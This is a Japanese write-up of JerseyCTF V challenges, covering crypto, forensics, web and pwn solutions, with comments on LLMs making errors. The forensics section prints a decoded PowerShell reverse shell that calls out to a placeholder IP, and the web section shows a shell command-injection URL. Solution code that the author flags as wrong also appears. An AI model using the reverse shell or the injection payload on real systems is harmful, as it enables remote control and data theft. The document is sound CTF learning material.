Try   HackMD

JerseyCTFV writeup

解けた問題

binary exploitation - Play Fair! (148 solves)

問題

We've exfiltrated some code that RB has been using to encrypt some flags! NICC also found along with the code, a snippet of text: yjp}b{k{_vog1pnb2j31dhs1bsptln. We're sure it must be the flag but can't figure out how to undo the encryption.

Note: flag format is jctf{} for this challenge, not jctfv{}

Pythonコードが貰える。文字通りプレイフェア暗号というのがあるのでその問題。

import random

# 定義されたシードでリストをシャッフルする関数
def generate_t():
    random.seed(3211210)
    arr = ['j', 'b', 'c', 'd', '2', 'f', 'g', 'h', '1', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'y',
           'v', '3', '}', '{', '_']
    t = []
    for i in range(len(arr), 0, -1):
        l = random.randint(0, i-1)
        t.append(arr[l])
        arr.remove(arr[l])
        arr.reverse()
    return t

# 暗号化されたテキスト
cipher_text = "yjp}b{k{_vog1pnb2j31dhs1bsptln"

# 変換リスト t を取得
t = generate_t()

# t の逆マッピングを作成
t_index = {char: i for i, char in enumerate(t)}

# 逆プレイフェア暗号関数（デコード用）
def reverse_playfair_decode(cipher_text, t):
    o = ''
    for k in range(0, len(cipher_text)-1, 2):
        q1 = t_index[cipher_text[k]]
        q2 = t_index[cipher_text[k+1]]
        if q1 // 5 == q2 // 5:
            # 同じ行にある場合
            o += t[(q1//5)*5 + ((q1-1)%5)]
            o += t[(q2//5)*5 + ((q2-1)%5)]
        elif q1 % 5 == q2 % 5:
            # 同じ列にある場合
            o += t[((q1//5 - 1) % 5 * 5) + (q1%5)]
            o += t[((q2//5 - 1) % 5 * 5) + (q2%5)]
        else:
            # それ以外の場合（長方形の置き換え）
            o += t[(q1//5)*5+(q2%5)]
            o += t[(q2//5)*5+(q1%5)]
    return o

# デコード実行
decoded_text = reverse_playfair_decode(cipher_text, t)
decoded_text

これはもうwriteupとかそういった次元ではなく、問題文にあるyjp}b{k{_vog1pnb2j31dhs1bsptlnと渡されたpythonコードをchatgptに食わせたら全て解決された。
具体的な計算を全てpythonに任せるタイプの問題は本当にLLMが強い、改めてそう思いました。

cryptography - The-Hidden-Key (243 solves)

問題

An anonymous party was using Wireshark looking network activity and stumbled across this encrypted text, they then notified NICC and sent the file. This could be a key to something.

よくあるRSA問題。つまり厳しい、その術は俺に効くし最初に目に入って触った問題がこれだったので泣いた。
RSAの問題によくある,n,eとctが書いてあるテキストファイルが貰える。

n = p * qで、pとqはクソデカ素数になるようになっている。
p * qはpとqを知ってさえいれば誰でも計算出来るけれど、Nからpとqを計算するのはありえん大変だから最強！という寸法らしい。
今回のnは20167919は戦闘力2^25もない雑魚なので、ググればpとqが出てくるよね〜って感じの問題。
それだけの問題だったのだけれど、この手のCTFに初めてLLM的なものを使ったので信じられんほど苦労してしまった。

def decrypt_rsa(n, e, ct):
    p, q = 4391, 4593 # 本当はp, q = 3769, 5351
    
    # φ(n) を計算
    phi_n = (p - 1) * (q - 1)
    
    # d を計算
    d = pow(e, -1, phi_n)
    
    # 各暗号文ブロックを復号
    plaintext_blocks = [pow(c, d, n) for c in ct]
    
    return plaintext_blocks

n = 20167919
e = 65537
ct = [10254726, 8086048, 6236280, 17208595, 10736836, 5882601, 15516508, 7658876, 2682380, 10736836, 15449006, 6236280, 11933731, 5504792, 922598, 11933731, 758869, 5504792, 17208595, 4826125, 7658876, 5504792, 2682380, 4744868, 12442849, 4826125, 7658876, 1039218, 15449006, 6236280, 2682380, 4826125, 4744868, 4111665]

decrypted_blocks = decrypt_rsa(n, e, ct)
print(decrypted_blocks)

これがChatGPTが出力したコードなのだけれど、pとqが大嘘でしこたまハマった。
この時の私は、「ChatGPTとかそういう奴らにええやん！健康とか食事について質問すると何でも良い塩梅に答えてくれる！年齢一桁のなぜなぜキッズに戻れて気分ええわ！」と思っていたのでChatGPTがここまで計算が出来無いと思っていなかった。

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

なんならそこを指摘してもまだ間違うという徹底っぷりにワロタ

みんなも具体的な計算をLLMに任せるのはやめよう！ClaudeとかGrokでも全然計算出来無いので、方針を打ち出すのはLLM、具体的な計算はWolfram等の別個のシステムを使うのがいいのかなというイメージがある。

forensics - evtx (157 solves)

問題

It appears that one of the low-level grunts of the NICC organization have gone rogue. They keep trying to get into a user's account by guessing their password. Can you tell us 1. the name of the user who is being targeted with brute force password guessing attempts and 2. the number of times the rogue user has tried to get into the account? The flag should have the format jctfv{Name_Number} where Name is the username and Number is the count.

ファイルをダウンロードするとevtxファイルが手に入る。これはWindowsイベントビューアから保存したイベントログで、Windows以外で見るにはどうにか変換する必要がありそう。

https://github.com/omerbenamram/evtx

これを使ったら問題なくJSON（正確にはJSONが連結されているもの）に変換できた。いろいろなログが入っているが、今回知りたいのはログイン試行。

Grok曰く:

ログイン試行に関連する主なイベントIDは以下の通りです：

4624: 成功したログオン
4625: ログオン失敗
4672: 特定のユーザーアカウントに特権が割り当てられた（管理者権限の付与など）
4634: ログオフ（必要に応じて確認）

らしいのでEventID: 4625のイベントをいくつかみて見る。17件あった。

"SubjectUserName": "User873"による、"TargetUserName": "User500"へのものが多く、手で数えると11回

jctfv{User500_11}

forensics - Frequencies-of-Deception (90 solves)

問題

An intercepted audio transmission carries a veiled warning. Some say it’s just noise, others believe it’s the key to an unsolved mystery. Use your forensic skills to dissect the frequencies and uncover the message lurking in the static. Flag format jctf{}

Note: For this challenge the flag format is NOT jctfv{} but is instead jctf{}

めっちゃ電話みたいな音がなる音声ファイルが貰える DTMFトーンとかいうらしい
https://dtmf.netlify.app/ こんな感じのサイトに突っ込むと、データを文字列に変換してくれる。本当にありがたい。

048049049048048049048048032048049048048049049049049032048049049048049049049048032048049048049048049048048032048049048049049049049049032048049048048048048049049032048048049049048048048048032048049049048049049048049032048049049048048049048049032048049048049049049049049032048048049048048049048048032048049049049048049048048032048049048048048048048049032048049048049049048048049032048049048049049049049049032048049049048048048048049032048049048049048049049049032048049048048048048048048032048049048049049048048049032048049048049049049049049032048049048048048049049048032048049049049048048049048032048048049049048048048048032048049048048049049048049032048049048049049049049049032048049049049048049048048032048049049048049048048048032048048049048048048048049032048049049049048048049049032048049048049049049049049032048049048049048048048048032048049049048049049048048032048049048048048048048048032048049049048048048049049032048049048048048049048049

とかいうデータが貰える
これを三桁ずつに区切ってasciiに変換する。
048が0で、049が1そして032がスペースっぽい
あとはちょこちょこ変換をやっていけばよいとは思うのだけれど、えあいがcyberchefでサクっと決めてくれた。
cyberchef

CyberChefはシーザー暗号をくるくる回して平文を見付けるか、From HexもしくはFrom binaryを変換するくらいしか上手く使えたことがないのでもっと使えるようにならないと駄目だね(ばかみたい)

forensics - path-finder (77 solves)

問題

The map with some weird objects stored on a USB flash drive was revealed in one of the New York City's sewage systems…Who left it there? Does it relate to a recent crime on one of NY streets? Or it might be even worse…it was carried through a sewage for miles. Anyway, this is your turn to discover the hidden message.

渡されるzipには、

  • m.jpg
  • s.mp3
  • plam.jpg
  • t.jpg
  • MAP.jpg

が入っている。

画像m.jpgをsteghideするとY3IxbTNfと書かれたflag.txtが手に入る これはbase64のcr1m3_
s.mp3にはNG1iMWd1aXR5Xw==と書かれている これはbase64の4mb1guity_
palm.jpgをexiftoolするとamN0ZnZ7bjAxcl8=と書かれている これはbase64のjctfv{n01r_

t.jpgはそのままだと開けないけれど、なんだか中身ではなく外側の何らか？が壊れているっぽいので、ffmpeg -i t.jpg -q:v 2 output.jpgで中身だけ別のファイルへ変換する。
変換して出てきた文字列を、MAP.jpgの示す順番に並べるとflagになる。

forensics - The-Veiled-Backtrace (57 solves)

問題

A hard drive full of photos. Hundreds of still frames, nothing out of the ordinary. But something’s tucked away — veiled, deliberate.
One image holds more than meets the eye. Peel back the layers. Follow the trace.

Flag format: jctf{IP:Port}
Note: For this challenge the flag format is NOT jctfv{} but instead jctf{}
Note: The IP is not a valid/real IP, this is for your protection.

なんかめっちゃ画像の入ったzipが貰える。
同じように見える画像が4~5枚ずつ、20種類くらい貰える。
始めはこの画像の中にflagがあるのかしらと思って、なんらかのデータがある=それだけハッシュが違うという理屈の元、ハッシュが同じものを削って減らし、その後減った画像を調べるという方策で進めた。
まあ何もなかったんですけどね、初見さん。

そんなことをやっていたら、えあいが"これって大事なのはzip側なんじゃない？"と言う話と共に...というファイルがあることを発見。

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

unzip -pで抽出するとbase64の一部（先頭が削れてる？）が手に入る。そのままではコピペしずらいのでunzip -p archive.zip ... | base64で二重エンコードしてコピペするといい

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

cybrchef

そのファイルはbase64でエンコードされたPowershellスクリプトで、そこにflagとなるIP:Portがあった。

ershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('678.462.146.334', 8789);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

forensics - The Ungraspable Phantom of Life (28 solves)

問題

The name g0ldenfalc0n7 doesn’t show up in the usual places—not unless he wants it to. He’s careful. Always has been. Covers his tracks like a ghost in the wind.
That’s why this latest slip-up smells like either a trap… or a desperate mistake.

A public repository on Docker Hub? That’s not like him. Not at all. Simon’s got that look on his face - amusement? Suspicion? I know that look. It means we’re onto something. We might have a shot at something here.

I need you to go digging. Sift through the wreckage. See what he left behind. Could be a breadcrumb. A backdoor. A crack in the armor. Hell, maybe even the key to this whole damn thing.

Doesn’t matter if it’s public or private — secrets have a way of hiding in plain sight. So whatever you find, hold onto it. Could be useful now. Could be useful later. Either way, we’re gonna need it.

Besides, if this is public he might've abandoned it and I doubt he'll come asking for it back.

Flag Format: jctfv{flag}

NOTE: This was unlocked by solving Simon and the Whale and itself unlocks a third challenge. These work together - so share notes with your team and be mindful of what you find.

forensics - Ransom-in-the-Shadows (28 solves)

問題

Unravel the mystery of encrypted data left behind by a sinister attack and recover the hidden key to unlock the shadows. Download the the file here

ad1とかいう謎の拡張子のファイルが貰える。
このad1とかいうのはFTK imagerというソフトウェアで中身を見たりファイルを抽出したりできる。
この中にあるeccファイルは、TeslaCryptというランサムウェアで暗号化されたもの。
https://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
このランサムウェアは既に活動を終了していて、しかも終了時に秘密鍵を公開している。そんなことあるのか。
https://www.bleepingcomputer.com/news/security/teslacrypt-shuts-down-and-releases-master-decryption-key/
つまり、上記のフォーラムにあるTesladecoder最新版なら万事復号できるはずなので最新版をダウンロードし、FTK imagerでkey.datを抽出し、それをdecoderに入れることで全部解読できる。

forensics - DoN't See Me? (18 solves)

問題

“Listen, Detective,” the voice on the other end of the line rasped, like someone who'd seen too many sleepless nights. “Looks like we've got a rat in the precinct. Someone's been feeding the press, and it’s only a matter of time before the whole damn thing blows wide open. We need you to dig through the traffic captures, and Windows Logs, figure out where the leaks are coming from. Find out what’s what was spilled, so we can patch up the holes before the damage is done.”

I leaned back in my chair, the leather creaking like an old man’s bones. Another day, another mess to clean up. But something about this felt different. Dirty, like a secret that had been left out in the open too long.

Note: For this challenge the flag format is NOT jctfv{} but is instead jctf{}

ネットワークキャプチャファイルとpythonコードとwindows-sysmon-logs.xmlが貰える。
Pythonコードは与えられたファイルをbase64にして、それを4分割にしてドメインのように扱うもの。
つまりDNSトンネリング。

image

先頭部分のサブドメインがそれっぽいので、その部分だけ切り取るとflag.txtという文字列が含まれるバイナリデータが貰える。
あとでえあいがきちんとwiresharkで取得したちゃんとしたデータをくれました。私は上記の画像の通り、なんか適当なサイトでpcapファイルを処理してもらっただけだったので、重複分が削除されていた。

windows-sysmon-logs.xmlを見ると、flag.txtをmakecab.exeで圧縮したのが見てとれる。
ので,バイナリファイルの先頭のバイトをcabファイルと同じものにして解凍するとフラグが手に入る。
flag.txtをmakecab.exeで圧縮したことを見付けたのも、マジックナンバーを変更する方法を思い付いたのもえあい、やっぱりえあいですわ

miscellaneous - Sounds-secure (185 solves)

問題

An Agent has left you a message that they received.

Your goal, listen and look at the clues with the file to lead you to the flag.

音声ファイルが与えられる。
exiftoolすると出る。Two step from hellのVictoryって海外からするとこっちで言うUC的な存在だったりするのかしら。

miscellaneous - The Golden Circle (172 solves)

問題

A secret agent within The Consortium has made contact with NICC and ACM in hopes of becoming a double agent. In order to identify said agent, a picture was sent to NICC and ACM to decipher and make contact with the agent. Can you figure out this secret agent's pseudonym?

画像1つが与えられる。
画像をsteghideすると出る。 パスワードはなくておっけー。

osint - Here I Stood (134 solves)

問題

Back when NICC’s coffers were light enough to be collected in person, I got stuck with the worst job in the outfit—waiting in bank lines that moved slower than cold molasses. That was over a decade ago, but I remember the feeling. Stale air. The tick of the clock. The sound of my patience being ground into dust.

Only thing that kept me from losing my mind? A bright yellow billboard across the street. Big, bold numbers staring back at me, burning into my brain like a bad memory. A phone number. One I can’t seem to recall now, no matter how hard I try.

Thing is, I’m starting to think that number wasn’t just some meaningless ad. It might be important. Dr. Tom Lei seems to think so, too, seeing as his goons have been asking around town non-stop about it.

I dug up a picture of the bank I wasted years at. Maybe you can piece together what my memory won’t. What was the phone number on the billboard?

Flag Format: jctfv{###-###-####}

osint - Where Am I (86 solves)

問題

We intercepted this picture from D00mSay3r - Says they were visiting a friend.
Can you narrow it down for us? Get as exact as you can - we need to follow their footsteps.
Use 3 words to describe the exact location that this photo was taken.

Flag format: jctfv{word1.word2.word3}

osint - Simon and the Whale (55 solves)

問題

The neon buzzed outside Simon’s window, humming like a bad omen. Ever since G0ldenFalc0n7 showed up, things had gotten… complicated. People were vanishing into thin air, reappearing randomly. Dr. Tom was repeatedly coming near campus, despite his usual absense these last few years. Anna, who normally had ice in her veins, was now squirreled away whispering secrets only the walls could hear. Or so she thought.

Simon caught a whiff of something. This whole thing was rancid. While trying to talk to Anna, he overheard her whispering frantically, her voice was barely audible, dripping with a level of warmth and anxious concern he had not heard from her. "Storing it publicly wasn't smart," she whispered. "You're risking everything, Arthur! You could … What if it gets pulled?!"

That sealed it. Who was Arthur? Something was afoot. Anna would never betray NICC, this was her world! And the other day Simon was told they saw her with someone who looked like the G0ldenFalc0n7…

Is Anna working with The Consortium? Is she working with GoldenFalc0n7? Or is this something deeper?

Simon has his hands full—he needs you to follow the trail. The answers are out there, hidden in plain sight. You just need to look in the right place. Find it and get ready for the next step.

Flag format: jctfv{flag}

  • Hints
    1. whale, whale, whale… what do we have here?

osint - Layers and Layers (22 solves)

問題

Looks like Dr. Tom is still using Beef N Cheddar - where The Consortium has been gathering online… They talk pretty openly, and it looks like some looselips may have been too confident in the security Dr. Tom set up. Those blabbermouths even left this finger print laying around 99AB8B9756802E8ACE7F0A7A421A949FEAFF133F.

NICC suspects it’s part of the network spreading cyber psychosis—trace its location before the infection spreads further!

  • Hints
      • honest onion, you shouldn't get any clues. I'm sure you'll head in the right direction.

99AB8B9756802E8ACE7F0A7A421A949FEAFF133Fというハッシュが与えられる。
chatgptが言うには、このCTFが開始される数日前にvirustotalに登録されたハッシュで、ファイル名もBeefNCheddar.exeとかなり問題文に合致した内容なのだけれど、実際にvirustotalを検索すると見付からない。

とかやっていたらえあいが全て解決してくれた。
Hintにあるhonest onion,の文字を見て、https://metrics.torproject.org/rs.html#details/99AB8B9756802E8ACE7F0A7A421A949FEAFF133F を見付けてくれた。
あとはそのサーバーのhttpヘッダーを見にいけばそこにフラグがあった。

https://chatgpt.com/share/67f20dd7-0d8c-8005-8089-86e5395e35c7
これがchatgptの返答だけれど、なんかすっごくvirustotalで検索した結果これが出たみたいな面しておきながら、virustotalで検索しても見付からないことを指摘すると"べつにvirustotalで検索したわけではないよ"とか言いだした。こいつやべーよ…えあいが言うにはよくあるchatgptしぐさらしい。

rules - Read the Rules (407 solves)

問題

JerseyCTF V Rules

Please open the attached pdf, and read the rules and terms & conditions to gain access to all the challenges for JerseyCTF V (the flag is in the pdf)

Notes for the JerseyCTF V

Please note that all flags are case sensitive, and unless otherwise specified in the challenge description, follow the format shown below:

Flag format for JerseyCTF V : jctfv{answer_flags_like_this}

web - time-of-date (215 solves)

問題

I learned some new commands which let me format dates! I made a website to show it off.

Connection Info:
http://time-of-date.aws.jerseyctf.com/?format="%Y-%m-%d"

  • Hints
    1. Never trust user input.

ウェブサイトへのリンクが与えられる。
http://time-of-date.aws.jerseyctf.com/?format="%Y-%m-%d"
formatとかいうリクエストパラメータが付いていて、ここで渡した内容がdate +"format"という感じにそのままシェルで叩かれて表示される
なんか適当にやった感じ,$()で囲った内容はふつうにコマンドとして実行されるっぽい。
HintもNever trust user input.と言っているしね。
http://time-of-date.aws.jerseyctf.com/?format=%22$(cat ./flag.txt)%22 でいける。

この手のシェル内で好きなコマンドを実行まで持っていくタイプのやつが基本的に$()でなんとかなるの、gentooのebuildで苦労していた時のアドが出ていて嬉しいねえ☺️nn

web - Encoded-Deception (152 solves)

問題

A mysterious cyber-detective agency, Black Hat Investigations, claims to uncover secrets others try to keep buried. But something about their website feels…off. Dig through the shadows, inspect the evidence, and find the truth. Can you uncover the hidden message?

Connection Info:
http://encoded-deception.aws.jerseyctf.com

  • Hints
    1. Sometimes, secrets are buried in scripts…

sourceを見るとatobで平文になりそうな文字列がいくつかある

image

UGFydCAxOiBqY3RmdntteXN0M3J5をatobするとパーツ1が手に入る

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=VUdGeWRDQXhPaUJxWTNSbWRudHRlWE4wTTNKNQ

Part 1: jctfv{myst3ry

そのまま/info.phpを開くと意味のないbodyが帰ってくる

image

VmVyeSByZWFsIGRhdGE=

Very real data
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Vm1WeWVTQnlaV0ZzSUdSaGRHRT0

bodyではなく、response headerに入っている文字がパーツ2

image

UGFydCAyOiBfMHAzcjR0MTBufQ==

Part 2: _0p3r4t10n}
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=VUdGeWRDQXlPaUJmTUhBemNqUjBNVEJ1ZlE9PQ

jctfv{myst3ry_0p3r4t10n}

web - The-Heist (60 solves)

問題

To pull off a perfect heist you need a perfect crew. You get invited to a "secret" heist planning group that have come up with the perfect plan to break into "K!ngf1sh" bankvault. The plan was so good in fact you all decided to party the night away. Sadly, once you woke up from the party everyone on your team forgot about the plan and in the end you are own left with a crappy bar napkin with the plans scribbled on. Try to see if you can still pull off the legendary heist.

Connection Info:
http://the-heist.aws.jerseyctf.com

Plan

ウェブサイトへのリンクと画像1つが与えられる。
もう既に問題として渡されたサイトにアクセスできないので朧げな記憶を元に書くと、怪しいサイトには/以外にも/vaultがあって、その/vaultには"X-~"系の追加ヘッダーがあった。
画像に書かれたIp addrの203.0.113.50にはアクセスできない。
この手の追加のip addrが渡されるweb系の問題は"X-Forwarded-For:127.0.0.1"なんだよねーと自信マンマンで入れたら違った。
その直後、えあいに"この画像に書いてあるIPでやったらどう？"と言われたので"X-Forwarded-For:203.0.113.50"でやったら通った。
X-Forwardedのやつはlocalhostを示す方法しか知らなかったので、一人でやっていたら間違いなく詰まっていたし本当にありがてえ。

解けなかった問題

binary exploitation - Kiddy Pool (84 solves)

問題

We've received a message from Golden Falcon!
"Math is hard! If you think you have what it takes to swim with the fishes, take a dive into the kiddy pool!"
Take on his challenge to get the flag!

Connection Info:
nc kiddypool.aws.jerseyctf.com 9001

実行ファイルとそのソースコードが与えられる。
実行ファイルを実行するとクイズが出されるので、その質問に正答していくとフラグが貰える。

1問目は-1
2問目は4607182418800017408
詳しくはこれ
https://grok.com/share/bGVnYWN5_238ebd6f-ce1e-4c8e-ab60-9bca165958bc

3問目は64

	struct hoop *target = calloc(1, sizeof(struct hoop));
	target->hoop = 1;
	scanf("%lu", &ans);
	if(!*((char *)(target)+ ans)) {
		printf("Ouch!\n");
		exit(1);
	}

構造体hoopのint hoopに1を代入し、ansで入力した値が構造体の先頭から見たint hoopの位置と一致(激ウマギャグ)すれば正解という問題

struct hoop {
    char depth1[61];
    int  hoop;
    char depth2[19];
    }

なんか答えは61のように見えるけれど、char depth1[61]の後にint型の変数がくるため、C言語的には"なんかキリが悪いし4の倍数になるように間を取るか"的なやつが働く。
ので実際のint hoopの位置は構造体の先頭から64バイトの位置になる。

4問目が分からなかった（◞‸◟）

詳しいログはこれ
https://grok.com/share/bGVnYWN5_e262b190-c2fc-49f5-bcd6-f2d635c58903

間違いなくbinary exploitationの中では簡単も簡単なやつなのだろうけれど、毎CTFで飽きもせず同じ問題で躓いているきがする…

binary exploitation - Fantaxotic Fledgling (41 solves)

問題

Deep in a forgotten coal mine of code, a fragile finch guards the gold. With just so many songs to sing, one is bound to crack the silence. Send your message carefully, miner—one wrong note and the finch will scream.

Connection Info:
nc fantaxoticfledgling.aws.jerseyctf.com 1237

elfファイルが与えられる。
ghidraの疑似コードがこれ

void vuln(void)

{
  char cVar1;
  int iVar2;
  long in_FS_OFFSET;
  undefined local_88 [64];
  char local_48;
  char local_19;
  undefined local_18;
  undefined local_17;
  undefined local_16;
  undefined local_15;
  undefined local_14;
  undefined local_13;
  undefined local_12;
  undefined local_11;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = rand();
  local_48 = (char)(iVar2 % 100);
  local_19 = 'D';
  local_18 = 'E';
  local_17 = 'A';
  local_16 = 'D';
  local_15 = 'R';
  local_14 = 'I';
  local_13 = 'C';
  local_12 = 'E';
  local_11 = 0;
  printf("Send your message: ");
  fflush(stdout);
  cVar1 = local_48;
  __isoc99_scanf(&DAT_00102023,local_88);
  if (cVar1 != local_48) {
    printf("Stack corruption detected!\n");

仕組みとしては、スタックオーバーフローでDEADRICEになっているところをDEADBEEFに変更して、win()に進むというもの。
途中でスタックチェックがある

  cVar1 = local_48;
  __isoc99_scanf(&DAT_00102023,local_88);
  if (cVar1 != local_48) {
    printf("Stack corruption detected!\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }

これはlocal_88のすぐ後にあるlocal_48の値をscanfの直前で記録しておいて、scanfの後と比較して変更があったらスタックスマッシュがあったとして処理を終えるもの

local_48自体はmod 100 されているので、charの0~99あたりの数字をlocal_48に該当する場所に入れた状態で、入力の最後尾をDEADBEEFにすればよい…という問題だと思うのだけれど、結局上手くいかなかった。
chatgptに聞いた感じだと、local_48の後にもKiddy Poolの構造体のようなpaddingがあるらしい。
これはgdbのようなもので動的解析しないといけないものなのかしら。

雰囲気としてはKiddy Poolと同じものを感じるだけに、これが出来無いだけで1800点も取れなかったのは悲しいね。

binary exploitation - Maya's Terminal Rescue (46 solves)

問題
  • Maya was doing some indepth research and stated that she discovered some really important intel regarding Loab. Howevever, something happened and we lost contact with her.
  • Our operatives are currently tracing her down, but Loab seems to have caught on. Whatever the case is, we NEED to gain access to that information before she finds it and wipes it from us.
  • We have all of Maya's login credentials, but she seems to have implemented her own login mechanism that we can't seem to figure out.
  • Think you can help?

Connection Info:
nc maya-s-terminal-rescue.aws.jerseyctf.com 5000

binary exploitation - Hexstore (10 solves)

問題
  • The Consortium just unveiled their newest project: HexStore.
  • It appears to be an online "museum" of sorts, where they share images to the world to better boost their image and align them against us.
  • They seem to be hiding an important "antique". We're not entirely sure what it is, but we don't really like the sounds of it. Think you could help?

Connection Info:
nc hexstore.aws.jerseyctf.com 5000

binary exploitation - Roko's Jersey Lottery (4 solves)

問題
  • We managed to uncover a mysterious underground lottery going on, hosted by Roko himself.
  • It seems like he's really put all his effort into securing it, but we did manage to extract the crucial data and software before he locked us out for good.
  • We need to grab that flag before he auctions it off for good, can you help us?
  • If it helps, prior to the alleged launch of this lottery, Roko was going on about the number 647389. We're not sure what it means, but it might help.

Connection Info:
nc rokos-lottery.aws.jerseyctf.com 5000

binary exploitation - Mallo®cy (6 solves)

問題

We've discovered an old note taking service that Dr. Tom Lei was using a couple years back. We suspect that there's still a flag on machine that's running it. NICC has been able to recover the binary files from him, help them see if they can get a shell!

Connection Info:
nc mallorcy.aws.jerseyctf.com 9001

binary exploitation - Ladder To Heaven (5 solves)

問題

  • You are an employee of a business that uses a Scada system. A technician came to the company, plugged something in, and entered into a debug menu on the main plc of the facility. You are tasked with entering that debug menu so the company can debug the system itself. Luckily you snagged a few screenshots of the technician's source code. What inputs should we provide power?

  • Key format: jctfv{__BINARY__} where __BINARY__ is the plc inputs in sequencial order and their given on or off state. Only 0's and 1's, no spaces or anything else.

binary exploitation - OVERFLOWED (1 solves)

問題

Just as you complete your last bin challenge, the consortium strikes again! They've broken up a flag and have hidden its pieces across all challenges labeled "piece of the final puzzle"! Go back to these challenges and see if you can find where these flag fragments are hidden!

cryptography - Almighty - Alphabet (71 solves)

問題

The criminal alphabet, the noir alphabet, the alphabet of a private detective, and whatnot, but there is still something mystical that doesn't look like an alphabet, but at the same time it hides the magical message.

cryptography - Prng-Pred (61 solves)

問題

We created a custom random number generator using XOR-Shift to help us generate pseudorandom numbers. THere may have been an issue with our initialization. Here are the first 5 generated values. Can you predict the next one?

Connection Info:
http://prng-pred.aws.jerseyctf.com:5000/

cryptography - sandy-shores (47 solves)

問題

The sun begins to set as the investigator finds a clue that will change the course of his investigation. The remnants of the thief's equations lay partially washed away in the sand. The equation that lies in the sand is "y^2 = x^3 + __x + __ mod 373". These underscores represent where a number was written but has been washed away. More notes lie in the sand as well, including a coordinate (7,39), and the number 27. The investigator knows that this coordinate and number must be used this equation somehow… but what's missing? Our detective is able to deduce more notes hidden in the underbrush just out of reach. Two scraps of paper that correspond to the two gaps in the equation drawn on the beach. The first paper has two phrases crudely scrawled, being "Fantastic Four Wanted Dead or Alive," and "Issue Number?". The second paper also has two phrases scralwed, being "Alfred's first appearence in the batcave", and "Original Price?". If the investigator can deduce these classic comic book clues to determine the missing values of this equation, they should be able to find the coordinate of the thief's lair. Flag: jctfv{(x,y)}

cryptography - Vignalysis (38 solves)

問題
  • We intercepted a message but it seems to be encrypted. We know it is a vignere cipher that was used but do not know the key or key length. Can you crack it?
  • note: The text has been changed to lowercase and only alphabetical letters were used. The text is in the English language. search "jctfv" in the decrypted text to find the flag. It will be between two "jctfv" tags. ex: jctfvflagherejctfv = jctfv{flaghere}

cryptography - a-hash-too-far (17 solves)

問題

  • It’s a murky evening, and you’ve just gained access to a server used to track sensitive agent meetings. This isn’t your first time in the digital shadows, but this one’s a bit different. The system’s using an old, unreliable signature method to verify requests—a hash stitched together with a secret key. You can almost feel the weight of that key. The question is: can you manipulate the signature and slip past the gatekeeper? Access the challenge at http://a-hash-too-far.aws.jerseyctf.com:5000/challenge. Try to enter through http://a-hash-too-far.aws.jerseyctf.com:5000/verify.

  • Note: The whispers in the dark say the secret key is a solid 32 bytes.

Connection Info:
http://a-hash-too-far.aws.jerseyctf.com:5000/challenge

  • Hints
    1. Look up attacks on SHA256 and why you shouldnt try to create your own signature scheme with it.
    2. Try looking at the private meetings.
    3. Use latin-1 encoding when trying to enter.
    4. Sometimes, the smallest differences in data (such as hidden characters) can make a big impact.

cryptography - Collision-Course (13 solves)

問題 
​​​​We have found a database used to store meeting locations. This database takes in text, hashes it using a custom hash algorithm(oh boy) and then saves the newly created file and hash. We need to upload a new form of this file to the server without the hash changing so they do not notice we changed it!

​​​​Custom hashing algorithm: Takes character string as input and breaks them up into 16 character blocks. If the final block is not full, take the blocks contents and repeat it, that is the new block value. Check the blocks contents again, if it is still not full, take the blocks contents(including newly repeated content) and repeat it again. Repeat process until block is 16 characters or greater. If block is greater than 16, only use first 16 characters of block. If there is only a single block, create a second block with with first blocks contents in reverse order. Then xor the ASCII decimal value of all characters in the first indices of all the blocks, then xor the ASCII decimal value of all characters in the second indices of the all the blocks and so forth. After all characters that share an indices in all the blocks are xor together, there should be a 16 character string with each character having a decimal value of the ASCII character it represents. Change each decimal value to its hex value. Include leading 0's for values between 00 and 0f. Use lowercase values for letters in the hex. Output the now 32 character hex string(representing 16 ascii characters) as the hash output.

​​​​Example 1:
​​​​    input: 1,2
​​​​    padding: [1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2]
​​​​    2 block minimum: [1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2],[2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1]
​​​​    xor each indices: [3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,]
​​​​    hex value: [03,03,03,03,03,03,03,03,03,03,03,03,03,03,03,03]
​​​​    Output: 03030303030303030303030303030303

​​​​Example 2:
​​​​    input: this is a test message that will show how the hash function works
​​​​    Blocking: ['this is a test m', 'essage that will', ' show how the ha', 'sh function work', 's']
​​​​    final block padding: ['this is a test m', 'essage that will', ' show how the ha', 'sh function work', 'ssssssssssssssss']
​​​​    xor each indices: [49, 115, 33, 104, 54, 49, 43, 60, 100, 125, 105, 126, 101, 33, 37, 120]
​​​​    hex value: ['31', '73', '21', '68', '36', '31', '2b', '3c', '64', '7d', '69', '7e', '65', '21', '25', '78']
​​​​    Output: 3173216836312b3c647d697e65212578

​​​​Example 3:
​​​​    input: meet at the following coordinates:40,44'37"N 74,10'47"W
